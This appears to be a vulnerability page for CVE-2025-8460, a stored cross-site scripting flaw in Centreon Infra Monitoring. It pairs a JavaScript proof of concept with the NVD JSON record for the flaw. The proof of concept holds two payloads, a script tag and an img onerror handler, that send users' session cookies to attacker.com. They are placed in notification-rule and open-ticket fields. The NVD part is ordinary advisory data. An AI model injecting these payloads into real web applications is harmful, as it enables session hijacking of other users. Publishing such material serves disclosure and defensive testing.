CVE-2025-8460

/* CVE-2025-8460 Stored XSS PoC - Centreon Infra Monitoring */ /* Target: Notification rules or Open tickets module */ // PoC for Stored XSS in Centreon Infra Monitoring // Requires high privileges (PR:H) const payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Method 1: Via Notification Rules const notificationRulePayload = { name: 'Malicious Notification Rule', alias: 'xss-' + Date.now(), description: payload, type: 'notification', command: 'notify-service', contact: 'admin', period: '24x7' }; // Method 2: Via Open Tickets Module const ticketPayload = { subject: 'Issue Report', description: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', ticket_id: 'TKT-' + Math.random().toString(36).substr(2, 9), status: 'open', priority: 'high' }; // Exploitation: When other users view the affected page, // the stored JavaScript will execute in their browser context, // potentially stealing session cookies or performing actions on behalf of the victim. console.log('CVE-2025-8460 Stored XSS PoC'); console.log('Payload:', payload); console.log('Target: Centreon Infra Monitoring < 24.10.5, < 24.04.5, < 23.10.4');

{"cve": {"id": "CVE-2025-8460", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-12-22T11:15:58.730", "lastModified": "2026-01-26T15:51:35.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Notification rules, Open tickets module) \n\nallows Stored \n\nXSS by users with elevated privileges.This issue affects Infra Monitoring: from 24.10.0 before 24.10.5, from 24.04.0 before 24.04.5, from 23.10.0 before 23.10.4."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:open_tickets:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.4", "matchCriteriaId": "690236FE-B2D6-4CD9-A238-8AAAFA806345"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:open_tickets:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.5", "matchCriteriaId": "7DE49827-44BF-4560-99B1-0642ED561161"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:open_tickets:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.5", "matchCriteriaId": "F0BF65DE-555C-4CE0-A807-77F3F6310BDD"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-8460-centreon-open-tickets-medium-severity-5344", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Patch", "Vendor Advisory"]}]}}